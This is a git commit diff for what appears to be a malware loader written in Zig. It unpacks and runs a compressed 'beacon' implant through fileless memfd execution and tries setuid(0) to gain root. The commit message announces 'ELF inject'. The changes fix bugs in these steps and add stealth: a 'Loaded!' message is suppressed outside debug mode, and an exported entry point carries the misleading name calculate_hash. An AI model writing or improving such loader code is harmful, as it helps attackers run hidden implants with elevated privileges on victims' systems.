feat: fixed server comp, added ELF inject

I gave up and just put it in a Docker image, it's not as important as
the beacons being statically compiled

unix-loader/src/libloader.zig

@@ -13,7 +13,7 @@ const config = @import("config");
 fn open_temp() !std.fs.File {
     switch (builtin.os.tag) {
         .linux => {
-            const fd = posix.memfd_create("", 0);
+            const fd = try posix.memfd_create("", 0);
             return std.fs.File{ .handle = fd };
         },
         else => {
@@ -69,7 +69,7 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
         uid = std.os.linux.syscall0(.getuid);
         try posix.setuid(0);
 
-        if (std.os.linux.syscall0() != 0) {
+        if (std.os.linux.syscall0(.getuid) != 0) {
             return;
         }
     }
@@ -97,7 +97,7 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
         }
 
         if (builtin.os.tag == .linux) {
-            try posix.setuid(uid);
+            try posix.setuid(@intCast(uid & 0xFFFF));
         }
     }
 }

unix-loader/src/loader.zig

@@ -21,7 +21,9 @@ fn fill_parameters() !void {
 }
 
 export fn calculate_hash() callconv(.C) void {
-    std.io.getStdOut().writeAll("Loaded!") catch {};
+    if (dbg) {
+        std.io.getStdOut().writeAll("Loaded!") catch {};
+    }
     fill_parameters() catch |err| {
         if (dbg) {
             std.debug.print("Error calculating hash! {any}", .{err});